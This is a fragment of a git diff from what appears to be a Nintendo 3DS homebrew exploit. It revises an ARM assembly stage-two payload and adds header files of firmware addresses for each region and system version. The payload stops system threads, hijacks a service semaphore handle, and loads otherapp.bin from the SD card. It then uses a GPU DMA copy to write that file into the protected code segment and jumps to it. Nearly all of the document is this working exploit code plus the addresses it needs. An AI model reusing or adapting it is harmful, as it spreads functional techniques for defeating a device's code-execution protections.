*/ -#define OTHERAPP_CODE_PA 0x27a01000 -#else -/* OTHERAPP_CODE_VA + 0x23D00000 */ -#if defined(POST5) -#define OTHERAPP_CODE_PA 0x23e01000 -#else -#define OTHERAPP_CODE_PA 0x23e01000 - 0x78000 -#endif -#endif -#define OTHERAPP_CODE_GPU (OTHERAPP_CODE_PA - 0xc000000) #define PARAMBLK_ADDR 0x14000000 .text .global _start _start: +/* OTHERAPP_CODE_GPU is in r5 */ /* Initialize stack. */ mov sp, #0x10000000 sub sp, #0x2C /* Tell GSP thread to fuck off. */ - ldr r0, =GSP_THREAD_OBJ_PTR -#if defined(KOR) - ldr r0, [r0,#GSP_THREAD_OBJ_PTR_OFFSET] -#endif + ldr r0, =GSP_GET_INTERRUPTRECEIVER + blx r0 mov r1, #1 strb r1, [r0, #0x77] ldr r0, [r0, #0x2C] svc 0x18 -#if defined(KOR) //A srv-notification thread is running that can't return from the thread-function. With KOR it's within the otherapp .text range. Overwrite the handle it uses so that it won't return from svcWaitSynchronizationN with the next call. Then send a notification so that it returns from waitsync for using the new handle. - svc 0x17 @ svcCreateEvent + +/* Tell another problematic thread to fuck off as well. */ + ldr r0, =THREAD8_OBJ + mov r1, #0 + strb r1, [r0, #0x0D] + ldr r0, =THREAD8_EVENT_HANDLE + ldr r0, [r0] + svc 0x18 + +/* + * A srv-notification thread is running that can't return from the thread-function. + * Overwrite the handle it uses so that it won't return from svcWaitSynchronizationN + * with the next call. Then send a notification so that it returns from waitsync and + * uses the new handle. + */ + mov r0, #0 + svc 0x17 // svcCreateEvent ldr r3, =SRV_SEMAPHORE str r1, [r3] ldr r0, =0x207 mov r1, #0x1 bl srv_PublishToSubscriber -#endif -/* Mount SD card. */ -// adr r0, sdmc_str -// ldr r1, =FS_MOUNT_SDMC -// blx r1 /* Open otherapp.bin on sdcard root. */ add r0, sp, #0xC // file_handle_out adr r1, otherapp_str // path @@ -153,7 +70,7 @@ _start: ldr r4, =FS_READ_FILE blx r4 /* Gspwn it to code segment. */ - ldr r0, =OTHERAPP_CODE_GPU // dst + mov r0, r5 // dst ldr r1, =OTHERAPP_ADDR // src ldr r2, =OTHERAPP_SIZE // size bl gsp_gxcmd_texturecopy @@ -174,6 +91,7 @@ _start: add r2, r0, #0x58 // gsp_handle str r3, [r2] /* smea's magic does the rest. */ + add sp, #0x2C ldr r0, =PARAMBLK_ADDR // param_blk ldr r1, =0x10000000 - 4 // stack_ptr ldr r2, =OTHERAPP_CODE_VA @@ -195,39 +113,38 @@ small_sleep: /* gsp_gxcmd_texturecopy: Trigger GPU memcpy. */ gsp_gxcmd_texturecopy: - push {lr} + push {r4, lr} sub sp, #0x20 - mov r4, #0 + mov r3, #0 - mov r5, #4 // cmd_type=TEXTURE_COPY - str r5, [sp] + mov r4, #4 // cmd_type=TEXTURE_COPY + str r4, [sp] str r1, [sp, #4] // src_ptr=r1 str r0, [sp, #8] // dst_ptr=r0 str r2, [sp, #0xC] // size=r2 - str r4, [sp, #0x10] // in_dimensions=0 - str r4, [sp, #0x14] // out_dimensions=0 - mov r5, #8 - str r5, [sp, #0x18] // flags=8 - str r4, [sp, #0x1C] // unused=0 + str r3, [sp, #0x10] // in_dimensions=0 + str r3, [sp, #0x14] // out_dimensions=0 + mov r4, #8 + str r4, [sp, #0x18] // flags=8 + str r3, [sp, #0x1C] // unused=0 mov r0, sp bl gsp_execute_gpu_cmd add sp, #0x20 - pop {pc} + pop {r4, pc} .pool gsp_execute_gpu_cmd: - push {lr} + push {r4, lr} mov r1, r0 ldr r4, =GSP_GET_INTERRUPTRECEIVER blx r4 add r0, #0x58 ldr r4, =GSP_ENQUEUE_CMD blx r4 - pop {pc} + pop {r4, pc} .pool -#if defined(SRV_SESSIONHANDLE) srv_PublishToSubscriber: push {r4, lr} mrc p15, 0, r4, cr13, cr0, 3 @@ -246,7 +163,6 @@ srv_PublishToSubscriber: ldrge r0, [r4, #4] pop {r4, pc} .pool -#endif /* Force assembler error if payload becomes greater than 0x800. */ .org 0x300, 0x45 diff --git a/stage2_constants_post3.0.h b/stage2_constants_post3.0.h new file mode 100644 index 0000000..647b4ad --- /dev/null +++ b/stage2_constants_post3.0.h @@ -0,0 +1,107 @@ +/* stage2 constants for system versions v3.0 and above */ + +#if defined(USA) + +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C4204 +#define GSP_GX_CMD4 0x002E9390 +#define GSP_FLUSH_DATA_CACHE 0x002E2950 + +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + +#define THREAD8_EVENT_HANDLE 0x003C1308 +#define THREAD8_OBJ 0x003C2658 + +#elif defined(EUR) + +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C4374 +#define GSP_GX_CMD4 0x002E9500 +#define GSP_FLUSH_DATA_CACHE 0x002E2AC0 + +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + +#define THREAD8_EVENT_HANDLE 0x003C1328 +#define THREAD8_OBJ 0x003C2678 + +#elif defined(JPN) + +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C40DC +#define GSP_GX_CMD4 0x002E9268 +#define GSP_FLUSH_DATA_CACHE 0x002E2828 + +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + +#define THREAD8_EVENT_HANDLE 0x003C12C8 +#define THREAD8_OBJ 0x003C2618 + +#elif defined(KOR) + +#define FS_OPEN_FILE 0x0022F094 +#define GSP_GET_HANDLE 0x00223890 +#define GSP_GET_INTERRUPTRECEIVER 0x00223880 +#define GSP_ENQUEUE_CMD 0x0022109C + +#define FS_READ_FILE 0x0010C83C +#define GSP_GX_CMD4 0x001318A0 +#define GSP_FLUSH_DATA_CACHE 0x0012B728 + +#define SRV_SESSIONHANDLE 0x0038D1C4 +#define SRV_SEMAPHORE 0x0038D1B4 + +#define THREAD8_EVENT_HANDLE 0x003D3CEC +#define THREAD8_OBJ 0x003D52A0 + +#elif defined(CHN) + +#define FS_OPEN_FILE 0x0022F0D8 +#define GSP_GET_HANDLE 0x002238D4 +#define GSP_GET_INTERRUPTRECEIVER 0x002238C4 +#define GSP_ENQUEUE_CMD 0x002210E0 + +#define FS_READ_FILE 0x0010C83C +#define GSP_GX_CMD4 0x001318A0 +#define GSP_FLUSH_DATA_CACHE 0x0012B728 + +#define SRV_SESSIONHANDLE 0x0038D1C4 +#define SRV_SEMAPHORE 0x0038D1B4 + +#define THREAD8_EVENT_HANDLE 0x003D3CEC +#define THREAD8_OBJ 0x003D52A0 + +#elif defined(TWN) + +#define FS_OPEN_FILE 0x0022F0C4 +#define GSP_GET_HANDLE 0x002238C0 +#define GSP_GET_INTERRUPTRECEIVER 0x002238B0 +#define GSP_ENQUEUE_CMD 0x002210CC + +#define FS_READ_FILE 0x0010C86C +#define GSP_GX_CMD4 0x001318D0 +#define GSP_FLUSH_DATA_CACHE 0x0012B758 + +#define SRV_SESSIONHANDLE 0x003891C4 +#define SRV_SEMAPHORE 0x003891B4 + +#define THREAD8_EVENT_HANDLE 0x003CFD0C +#define THREAD8_OBJ 0x003D12C0 + +#else +#error "Region not supported for this system version range" +#endif diff --git a/stage2_constants_pre2.1.h b/stage2_constants_pre2.1.h new file mode 100644 index 0000000..eae6a6d --- /dev/null +++ b/stage2_constants_pre2.1.h @@ -0,0 +1,56 @@ +/* stage2 constants for system versions v1.0, v1.1 and v2.0 */ + +#if defined(USA) + +#define FS_OPEN_FILE 0x00227980 +#define GSP_GET_HANDLE 0x0021ACC4 +#define GSP_GET_INTERRUPTRECEIVER 0x001C74C8 +#define GSP_ENQUEUE_CMD 0x001C616C + +#define FS_READ_FILE 0x002C8254 +#define GSP_GX_CMD4 0x002EAFD4 +#define GSP_FLUSH_DATA_CACHE 0x002E5270 + +#define SRV_SESSIONHANDLE 0x00370BF8 +#define SRV_SEMAPHORE 0x00370BE8 + +#define THREAD8_EVENT_HANDLE 0x003AC340 +#define THREAD8_OBJ 0x003AD690 + +#elif defined(EUR) + +#define FS_OPEN_FILE 0x00227B10 +#define GSP_GET_HANDLE 0x0021AE54 +#define GSP_GET_INTERRUPTRECEIVER 0x001C7618 +#define GSP_ENQUEUE_CMD 0x001C62B8 + +#define FS_READ_FILE 0x002C838C +#define GSP_GX_CMD4 0x002EB144 +#define GSP_FLUSH_DATA_CACHE 0x002E53E0 + +#define SRV_SESSIONHANDLE 0x00370BF8 +#define SRV_SEMAPHORE 0x00370BE8 + +#define THREAD8_EVENT_HANDLE 0x00370BF8 +#define THREAD8_OBJ 0x003AD6B0 + +#elif defined(JPN) + +#define FS_OPEN_FILE 0x00227980 +#define GSP_GET_HANDLE 0x0021ACC4 +#define GSP_GET_INTERRUPTRECEIVER 0x001C74C8 +#define GSP_ENQUEUE_CMD 0x001C616C + +#define FS_READ_FILE 0x002C812C +#define GSP_GX_CMD4 0x002EAEAC +#define GSP_FLUSH_DATA_CACHE 0x002E5148 + +#define SRV_SESSIONHANDLE 0x00370BF8 +#define SRV_SEMAPHORE 0x00370BE8 + +#define THREAD8_EVENT_HANDLE 0x003AC300 +#define THREAD8_OBJ 0x003AD650 + +#else +#error "Region not supported for this system version range" +#endif diff --git a/stage2_constants_v2.1and2.2.h b/stage2_constants_v2.1and2.2.h new file mode 100644 index 0000000..d7d41d4 --- /dev/null +++ b/stage2_constants_v2.1and2.2.h @@ -0,0 +1,56 @@ +/* stage2 constants for system versions v2.1 and v2.2 */ + +#if defined(USA) + +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C41F4 +#define GSP_GX_CMD4 0x002E9380 +#define GSP_FLUSH_DATA_CACHE 0x002E2940 + +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + +#define THREAD8_EVENT_HANDLE 0x003C1308 +#define THREAD8_OBJ 0x003C2658 + +#elif defined(EUR) + +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C4364 +#define GSP_GX_CMD4 0x002E94F0 +#define GSP_FLUSH_DATA_CACHE 0x002E2AB0 + +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + +#define THREAD8_EVENT_HANDLE 0x003C1328 +#define THREAD8_OBJ 0x003C2678 + +#elif defined(JPN) + +#define FS_OPEN_FILE 0x0022929C +#define GSP_GET_HANDLE 0x0021C960 +#define GSP_GET_INTERRUPTRECEIVER 0x001C805C +#define GSP_ENQUEUE_CMD 0x001C7BF4 + +#define FS_READ_FILE 0x002C40CC +#define GSP_GX_CMD4 0x002E9258 +#define GSP_FLUSH_DATA_CACHE 0x002E2818 + +#define SRV_SESSIONHANDLE 0x00374258 +#define SRV_SEMAPHORE 0x00374248 + +#define THREAD8_EVENT_HANDLE 0x003C12C8 +#define THREAD8_OBJ 0x003C2618 + +#else +#error "Region not supported for this system version range" +#endif